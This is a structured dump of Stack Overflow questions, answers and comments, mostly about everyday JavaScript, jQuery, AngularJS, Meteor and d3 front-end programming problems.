answers question: http://stackoverflow.com/q/25790793
upvote count: 2
has comment: http://stackoverflow.com/comment/40337998
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25790793
has comment: http://stackoverflow.com/comment/40338156
has comment: http://stackoverflow.com/comment/40338016
has body: var script = document.createElement('script'); script.onload = function(){ // loaded } document.head.appendChild(script); script.src = "path/to/script"; That's about the simplest example. And yes, the entire thing is async, hence it needed the onload handler. You could also wrap it up in a function: function getScript(src,callback){ var script = document.createElement('script'); script.onload = callback; document.head.appendChild(script); script.src = src; } getScript('path/to/js',function(){ //loaded }); However, thinking out of the box, it sounds like you need dependency management. Use RequireJS. Should fit your needs.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40351496
has text: No man, its not taking it - do I need to define the scope/ am I overwriting it? Do I need to include hide?
score: 0
comment on: http://stackoverflow.com/a/25797251
type: AnswerComment
type: Comment

http://stackoverflow.com/a/63891352
has comment: http://stackoverflow.com/comment/121295002
score: 34
downvote count: 1
has body: You can use a custom hook to handle simple click and double click like this : import { useState, useEffect } from 'react'; function useSingleAndDoubleClick(actionSimpleClick, actionDoubleClick, delay = 250) { const [click, setClick] = useState(0); useEffect(() => { const timer = setTimeout(() => { // simple click if (click === 1) actionSimpleClick(); setClick(0); }, delay); // the duration between this click and the previous one // is less than the value of delay = double-click if (click === 2) actionDoubleClick(); return () => clearTimeout(timer); }, [click]); return () => setClick(prev => prev + 1); } then in your component you can use : const click = useSingleAndDoubleClick(callbackClick, callbackDoubleClick); clic
has comment: http://stackoverflow.com/comment/138301825
has comment: http://stackoverflow.com/comment/130047263
has comment: http://stackoverflow.com/comment/123600839
upvote count: 35
has comment: http://stackoverflow.com/comment/125403197
answers question: http://stackoverflow.com/q/25777826
has comment: http://stackoverflow.com/comment/119036447
has comment: http://stackoverflow.com/comment/115246434
type: Answer

http://stackoverflow.com/a/25846740
has comment: http://stackoverflow.com/comment/40440674
answers question: http://stackoverflow.com/q/25846636
has body: You need to initialize count array var count=[ 0, 0, 0, 0]; $.each(matrix, function(i, j) { $.each(j, function(k, v) { count[k] += parseInt(v["z"],10); }) });
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40440941
accepted answer of: http://stackoverflow.com/q/25846636

http://stackoverflow.com/a/25770741
score: 4
type: Answer
upvote count: 4
downvote count: 0
has body: All you need is an installation query, along with an accompanying push. For example: var pushQuery = new Parse.Query(Parse.Installation); pushQuery.containedIn("user", userlist); Parse.Push.send({ where: pushQuery, data: { alert: "Your push message here!" } }, { success: function() { response.success("pushed"); }, error: function(error) { reponse.error("didn't push"); } }); That installation query can be a query based on a channel, and there are other specifications you can make for the push query, given in the documentation: Parse Docs
answers question: http://stackoverflow.com/q/25770167

http://stackoverflow.com/comment/40251006
score: 1
has text: Any code will be much appreciated
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25743098

http://stackoverflow.com/q/25738548
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40275153
score: 1
tagged with: http://stackoverflow.com/tag/json
has body: My problem is this. I have a d3 gantt chart which works fine at first load of data, the problem is when i query another data using my filter form. the resulting query and the json encode is ok but the d3.json is not accepting my newly result to plot in the d3 gantt chart. I used console.log to check the data and it is ok. here is my codes for fetching d3 data d3.json("json", function(error,json){ var tasks = []; var taskNames = []; for(var i = 0; i &lt; json.length; i++){ var HANDLERID = json[i].HANDLERID; taskNames.push(HANDLERID); tasks.push({"startDate": new Date(json[i].START1), "endDate": new Date(json[i].END1), "taskName": HANDLERID, "status": json[i].VAL1 }); tasks.push({"startDate": new Date(json[i].START2), "endDate": new Date(json[i].END2), "taskName": HANDLERID, "status": json[i].VAL2 }); tasks.push({"startDate": new Date(json[i].START3), "endDate": new Date(json[i].END3), "taskName": HANDLERID, "status": json[i].VAL3 }); } console.log(tasks); console.log(taskNames); tasks.sort(function(a, b) { return a.endDate - b.endDate; }); var maxDate = tasks[tasks.length - 1].endDate; tasks.sort(function(a, b) { return a.startDate - b.startDate; }); var minDate = tasks[0].startDate; var format = "%Y-%b-%d"; var gantt = d3.gantt().taskTypes(taskNames).tickFormat(format); gantt(tasks); }); here is my jquery post function searching(){ var input_handlermodel = $("#input_handlermodel").val(); var input_handlerid = $("#handlerid").val(); $.post("../../mini/pm/json", {input_handlermodel : input_handlermodel, input_handlerid : input_handlerid}, function(data){$("#result").html(data);}); } this is how i json encode the resulting query $sth1 = ibase_query($query); $items = array(); while($row1 = ibase_fetch_object($sth1) ) { array_push($items, $row1); } $result["rows"] = $items; echo json_encode($items);
type: Question
tagged with: javascript
tagged with: jquery
has title: d3.json is not accepting the query result to plot in d3 gantt chart
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/25764196
favorite count: 0
tagged with: http://stackoverflow.com/tag/svg
tagged with: d3.js

http://stackoverflow.com/comment/40478012
comment on: http://stackoverflow.com/a/25866636
has text: I understand that it works like that for `deleteFolder`, but I don't see why an anonymous function would have to specify the `cb` parameter in the `gulp.task` call, when a named function doesn't. Why is that?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25773146
score: 0
has comment: http://stackoverflow.com/comment/40306202
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: jQuery UI datepickers can be inline or popup depending on the type of element they are called on. &lt;input&gt; makes them popup and &lt;div&gt; or &lt;span&gt; makes them inline. I need a way to toggle them from popup to inline and back without clobbering event listeners and other things that have been coupled to the elements. As a starting point: this fiddle is close to my actual environment. Code that needs changes: var toggle = function(){ //toggle #StartDate's inline-ness without clobbering it }; $node.on('click','#toggle',toggle); As you can see, the datepickers are attached to timepickers and eachother through the datepair script. So simply re-instantiating them when they toggle is undesirable. A CSS solution where I just change #StartDate's class would be ideal but I doubt that's possible. EDIT: Photo description of what I'm trying to achieve: I need the toggle button to toggle between the following: Inline Mode: Popup Mode: Notice how one is always expanded and the other pops up when clicked on. In my fiddle, currently, this would be the difference between the startdate and enddate datepickers.
has answer: http://stackoverflow.com/a/25774886
has comment: http://stackoverflow.com/comment/40308323
accepted answer: http://stackoverflow.com/a/25774886
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40307924
type: Question
has comment: http://stackoverflow.com/comment/40307768
tagged with: jquery-ui
has comment: http://stackoverflow.com/comment/40309047
tagged with: javascript
tagged with: jquery
has title: Toggle inline mode - jQuery UI datepicker

http://stackoverflow.com/comment/40407144
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25814914
type: Comment
has text: Infrequently, yes. I was able to replicate it a few times where it would break JS on the page, but most times I just see the console errors.

http://stackoverflow.com/q/25736735
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/16902509
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40240208
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25737419
tagged with: javascript
tagged with: jquery
has title: Backbone: how can i add event for html5 video?
has body: How can i add event for video html 5 in backbone example: onplay, onended... i have template: &lt;div class="player"&gt; &lt;video preload="auto" src="&lt;%- videolink %&gt;"&gt;&lt;/video&gt; &lt;/div&gt; and can i add event for video in backbone? window.VideoPlayer = Backbone.View.extend({ tagName: "div", className: "player", events: {}, initialize: function () { this.videolink = this.model; this.render(); }, render: function () { $(this.el).html(this.template(this.videolink)); return this; } });
tagged with: backbone.js
accepted answer: http://stackoverflow.com/a/25737419
type: Question

http://stackoverflow.com/comment/40223757
type: Comment
comment on: http://stackoverflow.com/a/25726886
has text: This is my 1st choice, using an `include` trick and some redirections in an `.htaccess` file. It gives you fine-tunning on your website.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25989568
answers question: http://stackoverflow.com/q/25871963
score: 1
upvote count: 1
downvote count: 0
type: Answer
has body: You Can Try This. &lt;?php if((isset($_GET['route']) &amp;&amp; !isset($_SESSION[$_GET['route']])) || (!isset($_SESSION['home']) &amp;&amp; !isset($_GET['route']) )){ ?&gt; &lt;script type="text/javascript"&gt; // Make your Light Box code Here &lt;/script&gt; &lt;?php } ?&gt; &lt;?php if(isset($_GET['route'])) { $_SESSION[$_GET['route']] = 1; }else{ $_SESSION['home'] = 1; $_SESSION['common/home'] = 1; } ?&gt;

http://stackoverflow.com/comment/40211531
has text: elencoManc = elencoManc + context.data.mancinita[i].mancinita;
type: Comment
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/25721934

http://stackoverflow.com/comment/40230909
comment on: http://stackoverflow.com/q/25731797
has text: I would start with saving the contents from your webclient out to a file and see if that image shows, make sure of the content. Then move to the javascript side if it works fine.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25734307
has comment: http://stackoverflow.com/comment/40235348
has body: These are called cache busters. Usually, when a browser downloads a file (CSS, JS, etc.) it caches it so that it doesn't have to download it later. However, this is a problem when you decide to update your file, because the browser thinks it already has the latest version. To work around it, we use the cache busters. When you make a change to the file, you also change the number after the question marks, which tricks the browser into thinking this is a different file for which it doesn't have a cache it, and forces a re-download.
downvote count: 1
has comment: http://stackoverflow.com/comment/40235850
type: Answer
has comment: http://stackoverflow.com/comment/40235445
has comment: http://stackoverflow.com/comment/40235568
has comment: http://stackoverflow.com/comment/40235720
has comment: http://stackoverflow.com/comment/40235376
has comment: http://stackoverflow.com/comment/40235402
score: 7
has comment: http://stackoverflow.com/comment/40235418
has comment: http://stackoverflow.com/comment/40235431
has comment: http://stackoverflow.com/comment/40235438
has comment: http://stackoverflow.com/comment/40235456
upvote count: 8
has comment: http://stackoverflow.com/comment/40235976
has comment: http://stackoverflow.com/comment/40235453
answers question: http://stackoverflow.com/q/25734295
has comment: http://stackoverflow.com/comment/40235648

http://stackoverflow.com/q/25776910
has body: Basically, I have a WYSIWYG Editor that hides the textarea from within the form and replaces is with a contenteditable=true iframe. I'm trying to detect the changes to the contents within the iframe for my auto update function i've created. It currently works with normal input fields such as input &amp; select however i'd like it to detect when the contents changes within the iframe. This is what i have at the moment but nothing happens: $("iframe.cke_wysiwyg_frame").contents().find('body').on("change", function() { // execute function for auto update }); I've tried on keyup &amp; input too but nothing happens when the content within the iframe changes. For testing purposes i'm trying to alert("it works"); within but nothing happens. Is there a way that i can target the changes inside the editable iframe? (note: the iframe is within the document it's not external) Thanks EDIT: iframe structure
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40313671
has title: JQuery detect changes made within an iFrames body
score: 2
has comment: http://stackoverflow.com/comment/40313580
has comment: http://stackoverflow.com/comment/40314081
has comment: http://stackoverflow.com/comment/40313732
upvote count: 2
tagged with: iframe
has comment: http://stackoverflow.com/comment/40313691
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40313975
has answer: http://stackoverflow.com/a/25777343
has comment: http://stackoverflow.com/comment/40313676
answer count: 1
downvote count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40313557
favorite count: 0

http://stackoverflow.com/q/25719095
has body: I have written this firebase login code for using connect with facebook on a form. My problem is after doing first connect with facebook when I do another one on same browser, it automatically gets accessToken &amp; id for previous login. I want it to ask for email-id &amp; password any time or have a confirmation that this is indeed their facebook account. How can I do that? var ref2 = new Firebase("https://&lt;db-name&gt;.firebaseio.com/users/" + $scope.phone); //var msg = {}; var auth = new FirebaseSimpleLogin(ref, function(error, user) { if (error) { // an error occurred while attempting login console.log('an error occurred:'); console.log(error); } else if (user) { // user authenticated with Firebase console.log('logged in:'); console.log(user); msg = { username: $scope.username, accessToken: user.accessToken, id: user.id }; //$scope.messages.$add(msg); ref2.set(msg); } else { // user is logged out console.log('logged out'); } }); // Note: Attach this to a click event to permit the pop-up to be shown auth.logout(); auth.login('facebook');
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/2764436
score: 0
type: Question
tagged with: firebase
has answer: http://stackoverflow.com/a/25719296
has title: How to ask email-id & password every time for facebook login?
answer count: 1
tagged with: javascript

http://stackoverflow.com/q/25805371
has answer: http://stackoverflow.com/a/25805553
type: UnansweredQuestion
has body: There is anyway to parse robots.txt via jquery ? What is "require" function I'm found in lib https://github.com/ekalinin/robots.js ? var ut = require('./utils'); I can not run require in Jquery.How do I fix it?
type: Question
has title: Require is not undefined in Jquery?
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: robots.txt
score: 0

http://stackoverflow.com/q/25869254
tagged with: getelementbyid
has comment: http://stackoverflow.com/comment/40482103
favorite count: 0
has comment: http://stackoverflow.com/comment/40481549
type: Question
has comment: http://stackoverflow.com/comment/40482922
has comment: http://stackoverflow.com/comment/40482496
linked to: http://stackoverflow.com/q/13975922
has comment: http://stackoverflow.com/comment/40484402
score: 0
has answer: http://stackoverflow.com/a/25897518
has title: document.getElementById('someId') results in "Object does not support the property or method 'getElementById'"
upvote count: 1
answer count: 1
downvote count: 1
tagged with: internet-explorer
tagged with: internet-explorer-9
tagged with: javascript
has body: I have a weird JavaScript exception in Internet Explorer 9: Translated to English, the message reads: Object does not support the property or method 'getElementById' However, when I execute document.getElementById through the JavaScript console, the function is found. In fact, if I execute the entire statement that caused the exception there, it succeeds! (c.f. the screenshot). What could be the cause of this weirdness? document should have a getElementById method at all times, should it not? And why would the same statement succeed if I retry it in the debugger? I can reproduce the problem with Internet Explorer 9, but not IE 11 or Firefox.
has comment: http://stackoverflow.com/comment/40482645
accepted answer: http://stackoverflow.com/a/25897518
type: AnsweredQuestion

http://stackoverflow.com/comment/40353092
has text: On my machine, Firefox 32 returns a `parsererror`: "prefix not bound to a namespace", because the XML snippet doesn't declare the `test:` namespace. @blueberryfields, how did you get the code above to parse?
score: 0
comment on: http://stackoverflow.com/q/25791535
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40268834
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25716576
type: AnswerComment
has text: Today I attempted to implement the script you provided. Although it replaced my page HTML with the ordered data in the array, it would not display and sort the formatted HTML TD tags' content. Script used as is, id="tableRow" added to single TR tag, numbers matching the array list items were used as IDs in the TD tags, button added. Something I'm not doing right, I'm sure.

http://stackoverflow.com/comment/40322166
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25781974
score: 0
has text: Is `$.scrollTo()` what you're looking for?

http://stackoverflow.com/a/25718641
has comment: http://stackoverflow.com/comment/40206546
has body: In your otherSearchField.html template, you can access the $parent $scope's field property, thereby accessing the isolate scope that your directive <other-search-field> is using. DEMO Search value in the template, in "switch": {{$parent.field}} {{field}} value in the template, out of "switch": {{field}}
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25718460
type: Answer
answers question: http://stackoverflow.com/q/25718460
score: 2
upvote count: 2

http://stackoverflow.com/q/25870306
score: 0
answer count: 2
has title: Clearing input fields
has comment: http://stackoverflow.com/comment/40483852
has answer: http://stackoverflow.com/a/25870693
accepted answer: http://stackoverflow.com/a/25870901
has comment: http://stackoverflow.com/comment/40483109
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40483411
has body: I have some JavaScript where I want to clear all of the input fields when either radio button is clicked. (The radio buttons are for what type of policy number is inputted). I have created a function called Clear() to clear all of my inputs, and I have called that function within the if statements that see which radio button is clicked. Since it doesn't matter which one is clicked, becuase all input fields are wiped when any of the two is clicked, that function call is in both. I have looked online for help to this solution; however, what I have seems to be correct as in structure and calling of the JavaScript function. My code is as follows: if ($('#EstimatePolicyNumber').val()) { $('#EstimateRadio').prop('checked', true); $('#estimate').show(); $('#exisiting').hide(); Clear(); } else if ($('#ExisitingPolicyNumber').val()){ $('#ExisitingRadio').prop('checked', true); $('#existing').show(); $('#estimate').hide(); Clear(); } //Used to clear all of the input fields function Clear() { $('#ExisitingPolicyNumber').val(''); $('#EstimatePolicyNumber').val(''); $('#NewPolicyNumber').val(''); $('#EffectiveDate').val(''); $('#ServicingAgent').val(''); $('#CheckBox').prop('checked', false); } Here is the html for the radio buttons &lt;label class="float-left" id="radio-1"&gt; @Html.RadioButtonFor(model =&gt; model.RCTRadioType, "EstimateRadio", new { @id = "EstimateRadio", @name = "radio", @style = "margin:5px;" }) Estimate Number &lt;/label&gt; &lt;div class="clear-fix"&gt;&lt;/div&gt; &lt;label class="float-left" id="radio-2"&gt; @Html.RadioButtonFor(model =&gt; model.RCTRadioType, "ExisitingRadio", new { @id = "ExisitingRadio", @name = "radio", @style = "margin:5px;" }) Farm Family Policy Number &lt;/label&gt; Any ideas of what I am doing wrong?
possible better answer: http://stackoverflow.com/a/25870693
type: Question
has comment: http://stackoverflow.com/comment/40483164
has comment: http://stackoverflow.com/comment/40483131
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25870901
has comment: http://stackoverflow.com/comment/40483930

http://stackoverflow.com/q/25825843
has comment: http://stackoverflow.com/comment/40402479
has answer: http://stackoverflow.com/a/25825937
has comment: http://stackoverflow.com/comment/40402680
upvote count: 10
type: Question
accepted answer: http://stackoverflow.com/a/25826686
score: 10
tagged with: javascript
has body: How can I stop user from adding number greater than max value and smaller then min value in html input(type = number) &lt;input id="ageRange" type="number" min=20 max= 50 maxlength=2&gt;&lt;/input&gt; I tried one javascript code, but it makes change after we add the value then it changes the value. Is there any way that I can stop user to put value in range or just there is no flickering in the input cell while we change value programatically?
possible better answer: http://stackoverflow.com/a/25825871
has answer: http://stackoverflow.com/a/25825890
has comment: http://stackoverflow.com/comment/40402258
has answer: http://stackoverflow.com/a/25825871
has title: Restrict user to put value in range in html input (type = number)
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
has answer: http://stackoverflow.com/a/78086562
favorite count: 0
has answer: http://stackoverflow.com/a/25826686
answer count: 5
type: AnsweredQuestion

http://stackoverflow.com/comment/40370320
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25808462
score: 0
has text: Whole function added..

http://stackoverflow.com/comment/40447994
has text: After the splash screen, when the app is started, the status bar is completely hidden (no time, no battery etc etc)
type: Comment
comment on: http://stackoverflow.com/a/25816013
score: 0
type: AnswerComment

http://stackoverflow.com/q/25807770
tagged with: javascript
has comment: http://stackoverflow.com/comment/40369190
tagged with: jquery
score: 0
has title: how to append new text to div for each click?
accepted answer: http://stackoverflow.com/a/25808162
has comment: http://stackoverflow.com/comment/40368870
tagged with: append
possible better answer: http://stackoverflow.com/a/25808132
type: AnsweredQuestion
has body: I have a multi-select check-box option. It is something like with different states drop-down. User can check more than one state. My requirement is when user checks on any check box that selected state name need to show. If he selects Alaska, need to show Alaska and if he selects another Alabama need to show both. But my present code is displaying some thing strange. Mycode &lt;p id="selectedid" class="selected_class"&gt;&lt;/p&gt; options.each(function() { $("#selectedid").insertAfter($(this).text() + ', '); }); Another code options.each(function() { $("#selectedid").append($(this).text() + ', '); }); But when I use $("#selectedid").html($(this).text() + ', '); always one selected option is displaying, old option replaced by new one. For me it looks when first when user check on Alaska it is displaying Alaska in the p tag. Second time if user checks Alabama it is displaying Second Result Alaska , Alaska, Arizona third time if user checks Arkansas it shows Third Result Alabama, Alabama, Arizona, Alabama, Arizona, Arkansas My actual requirement is what ever the option selected by user that needs to be show and if he undoes the check(s) that needs to be hidden. Suppose if he selects 3 states only 3 states need to be display like Alabama Arizona Arkansas I am not getting where I am doing wrong.
has answer: http://stackoverflow.com/a/25808132
has answer: http://stackoverflow.com/a/25808162
has comment: http://stackoverflow.com/comment/40368728
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40368927

http://stackoverflow.com/comment/40396608
type: QuestionComment
comment on: http://stackoverflow.com/q/25822613
has text: yes, use event listeners http://api.jquery.com/delegate/ or http://api.jquery.com/click/
score: 0
type: Comment

http://stackoverflow.com/q/25752699
tagged with: substring
type: Question
answer count: 2
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25753001
score: 0
has comment: http://stackoverflow.com/comment/40269786
tagged with: regex
tagged with: string
has comment: http://stackoverflow.com/comment/40269675
has title: How to match multiple substrings splitted by a character?
has answer: http://stackoverflow.com/a/25753001
accepted answer: http://stackoverflow.com/a/25752878
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40269050
has body: Say I have the following string: aaa.bbb.ccc.ddd.eee. I want to split this string by the . character at each occurrence, except the last occurrence. In other words, I want my result to be the following: [ "aaa.bbb.ccc.ddd.eee", "bbb.ccc.ddd.eee", "ccc.ddd.eee", "ddd.eee" ] I can only achieve this with multiple explicit loops but I wanted to avoid that, if possible. I'm no JavaScript master and maybe there's some function I'm not aware of, that could help. Making the final solution shorter and simpler.
has answer: http://stackoverflow.com/a/25752878

http://stackoverflow.com/q/25794282
has title: Photoshop Applescript looking for Java Injection
type: Question
tagged with: applescript
tagged with: photoshop-script
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40569483
tagged with: javascript
type: UnansweredQuestion
has body: So I have an applescript move the current layer (part a bigger script that find how far to move): set MoveTicks to {5,5} tell application id "com.adobe.Photoshop" tell current document translate layer 1 delta x (item 1 of MoveTicks) as pixels translate layer 1 delta y (item 2 of MoveTicks) as pixels end tell end tell My issues is that "Translate" is relative to the current position. I kind want to input the destination points. It also seems a little weird trying to get an exact position if I translate a few times and it get a decimal place X/Y cord. I don't know javascript but in the past I have found it can do things applescript can't. Can one help me or point in the direction of a piece of Javascript that will move use inputs of {LayerName, X_Cord, Y_Cord} X,Y would preferably be the top left anchor point.
has answer: http://stackoverflow.com/a/26653148

http://stackoverflow.com/comment/56018171
has text: What if I want to send this message to everyone? Should I set `channels` to "Everyone"?
type: AnswerComment
comment on: http://stackoverflow.com/a/25820690
type: Comment
score: 2

http://stackoverflow.com/comment/40360516
comment on: http://stackoverflow.com/a/25802599
type: AnswerComment
has text: Your solution is completely inflexible. It forces you to handle all phone numbers the same way because the `alert` is happening within `devicePhoneNumber`. By using the parameters, you invert the control, and the calling function (`onDeviceReady` in this case) can handle the responses as needed.
score: 0
type: Comment

http://stackoverflow.com/comment/60118044
has text: Noticing that you create 3 derivatives of the original image file upon every save. Another way of handling this same issue is to create a URL path structure that allows you to request a processed image on demand. The benefit of doing it this way is that the user that is saving the image the first time won't have to wait for 4 files to be saved. Instead, the first person who requests a particular image derivative will only have to wait extra if they are the first person to request it. Instructions here: http://image.intervention.io/use/url
score: 0
comment on: http://stackoverflow.com/q/25835288
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40233432
score: 0
type: Comment
type: QuestionComment
has text: ok you want to reverse the CSS animation on hover out? yes it is possible, basically you need to incorporate `transition-delay` in your CSS. here is a good resource, which they use for menus => http://www.greywyvern.com/?post=337
comment on: http://stackoverflow.com/q/25733246

http://stackoverflow.com/comment/40314278
type: Comment
score: 2
has text: Have you tried adding in !important on the style where it has padding: 15px 0; => padding: 15px 0 !important; This is for media="screen" #primary {
comment on: http://stackoverflow.com/q/25777281
type: QuestionComment

http://stackoverflow.com/comment/40482562
score: 1
has text: Your confusing html (the markup that renders elements) and css (which determines how the elements look). All your need to do is apply the relevant class name `@Html.DropDownListFor(m => m.YourProperty, Model.YourSelectList, new { @class = "form-control"})` Learn the basics first.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25867552

http://stackoverflow.com/comment/40429206
type: Comment
type: QuestionComment
has text: well per my understand, app as been defined in var app = loopback();, and then app.model is inherent to loopback, which contains all the models I have created (two currently as stated in my question)
score: 0
comment on: http://stackoverflow.com/q/25840264

http://stackoverflow.com/comment/136748176
type: Comment
comment on: http://stackoverflow.com/a/25840319
score: 0
has text: Very useful. The only changes I'd recommend are: a. make strokeStyle and fillStyle parameters; b. i in your for loop is an implicit global, which should really be properly defined. Overall this is super useful and helpful though. Thanks for posting.
type: AnswerComment

http://stackoverflow.com/comment/40594851
score: 0
type: QuestionComment
has text: possible duplicate of [Limit typeahead results](http://stackoverflow.com/questions/25041613/limit-typeahead-results)
type: Comment
comment on: http://stackoverflow.com/q/25744731

jquery-plugins
tags question: http://stackoverflow.com/q/25788890
tags question: http://stackoverflow.com/q/25733530
tags question: http://stackoverflow.com/q/25826714
tags question: http://stackoverflow.com/q/25768330
type: Tag
tags question: http://stackoverflow.com/q/25792974
tags question: http://stackoverflow.com/q/25834321
tag name: jquery-plugins
tags question: http://stackoverflow.com/q/25806893
tags question: http://stackoverflow.com/q/25851377
tags question: http://stackoverflow.com/q/25806407

http://stackoverflow.com/comment/40351300
comment on: http://stackoverflow.com/a/25783826
type: Comment
has text: @AlexanderBrevig that makes sense, if they knew anything about these technologies they would never think of doing this :) (To be fair, some great ideas can also come to life from such naive/silly requirements that we, IT guys, may dismiss too quickly)
score: 1
type: AnswerComment

http://stackoverflow.com/q/25802230
type: UnansweredQuestion
has body: I have four div and my query is that i want to replace the order of second div and third div the output should come in this way 1324 instead of 1234 1 2 3 4 $(document).ready(function() { reverseChildren($('.bar')); if (document.body.offsetWidth < 600) { function reverseChildren($parent) { var listItems = $parent.children('div'); console.log(listItems); $parent.append(listItems.get().reverse()); }; } });
downvote count: 0
has title: Flip second div and third div
score: 1
type: Question
has answer: http://stackoverflow.com/a/25802513
has comment: http://stackoverflow.com/comment/40359615
linked to: http://stackoverflow.com/q/25845185
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25802361
has comment: http://stackoverflow.com/comment/40359764
has comment: http://stackoverflow.com/comment/40359517
answer count: 2
has comment: http://stackoverflow.com/comment/40359516
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/40291707
has text: @Regent true let me edit.
comment on: http://stackoverflow.com/a/25765503
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/53342880
comment on: http://stackoverflow.com/a/25791696
score: 0
type: AnswerComment
type: Comment
has text: I also found this was the problem with mine. For some reason I'd called jquery twice, once below ui, and it got rid of it.

http://stackoverflow.com/q/25795691
has answer: http://stackoverflow.com/a/25795964
tagged with: angularjs
tagged with: url-routing
type: AnsweredQuestion
has body: I have a JSON file that looks like this: [ { "id":"112", "title":"Title here", "date":"1234567890" } { "id":"113", "title":"Title here", "date":"1234567890" } ... ] I have two partials/views. A list view which lists all of the objects, and a detail page which is triggered by an "ng-click" which takes as a parameter the "id" property. I have my routes working, and a detail partial. I built a service to performe the request, and two controllers: var chatServices = angular.module('itemServices', ['ngResource']); chatServices.factory('Item',['$resource', function($resource){ return $resource('data.json', {}, { query: {method:'GET', params:{}, isArray:true} }); } ]); chatListApp.controller('ItemsController', ['$scope', 'Item', "$location", function ($scope, Item, $location) { $scope.items = Item.query(); $scope.detailPage = function (hash) { $location.path(hash); } }]); chatListApp.controller('DetailController', ['$scope', '$routeParams', 'Item', function($scope, $routeParams, Item) { $scope.data = Item.query(); $scope.itemID = $routeParams.itemID; } ]); So, I have a url like http://domain.foo/112, and I want it to show the first object of my JSON file (or the data array, if you prefer). When I try {{data[0]}} in my view, I get the object, so how do I go about adding some logic and fetching the object with ID value equal to $scope.itemID (as in the routeParams?
accepted answer: http://stackoverflow.com/a/25795964
type: Question
tagged with: javascript
score: 0
answer count: 1
has title: Match the routeParam with the ID property and display the relevant object

http://stackoverflow.com/comment/40214424
has text: I tried to put them inside var marker= new google.maps.Marker({...}). I think that's my mistake! should I define them outside the google map marker and inside the loop?!
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25722087

http://stackoverflow.com/q/25765645
has answer: http://stackoverflow.com/a/25766084
linked to: http://stackoverflow.com/q/23250668
tagged with: meteor
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/40292741
type: UnansweredQuestion
score: 2
has answer: http://stackoverflow.com/a/45054353
has body: I want to have a filter on routing level, checking if the user is in a specific role. this.route('gamePage', { path: '/game/:slug/', onBeforeAction: teamFilter, waitOn: function() { return […]; }, data: function() { return Games.findOne({slug: this.params.slug}); } }); Here is my filter: var teamFilter = function(pause) { if (Meteor.user()) { Meteor.call('checkPermission', this.params.slug, Meteor.userId(), function(error, result) { if (error) { throwError(error.reason, error.details); return null; } console.log(result); // returns always false if (!result) { this.render('noAccess'); pause(); } }); } } In my collection: checkPermission: function(gameSlug, userId) { if (serverVar) { // only executed on the server var game = Games.findOne({slug: gameSlug}); if (game) { if (!Roles.userIsInRole(userId, game._id, ['administrator', 'team'])) { return false; } else { return true; } } } } My first problem is that Roles.userIsInRole(userId, game._id, ['administrator', 'team'] always returns false. At first, I had this code in my router.js, but then I thought that it does not work because of a missing publication/subscription, so I ensured that the code runs only on the server. I checked the database and the user is in the role. My second problem is that I get an exception (Exception in delivering result of invoking 'checkPermission': http://localhost:3000/lib/router.js?77b3b67967715e480a1ce463f3447ec61898e7d5:14:28) at this point: this.render('noAccess'); and I don't know why. I already read this: meteor Roles.userIsInRole() always returning false but it didn't solve my problem. Any help would be greatly appreciated.
type: Question
tagged with: mongodb
answer count: 2
has comment: http://stackoverflow.com/comment/40292987
downvote count: 0
has title: Meteor Roles package - userIsInRole always returns false
tagged with: javascript

http://stackoverflow.com/comment/40436128
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25840168
score: 0
has text: Have a Animate-Color-Plugin included?? What's expected behaviour when scrolling back to top??

http://stackoverflow.com/comment/40371492
has text: SO isn't here to make your homework. Go ask your teacher, that's what he's paid for.
comment on: http://stackoverflow.com/q/25809275
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25815025
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/40385895
has comment: http://stackoverflow.com/comment/40385808
score: 2
has body: Use a reactive variable for indicating the life state, and use a timer to change it (only) when it dies. Template.world.created = function(){ self = this self.isAlive = new ReactiveVar(true) setTimeout(function(){ self.isAlive.set(false) }, self.time_to_die-Date.now()) } Template.bunny.alive = function () { return Template.instance().isAlive.get() }
upvote count: 2
has comment: http://stackoverflow.com/comment/40398197
accepted answer of: http://stackoverflow.com/q/25813494
has comment: http://stackoverflow.com/comment/40393665
type: AcceptedAnswer
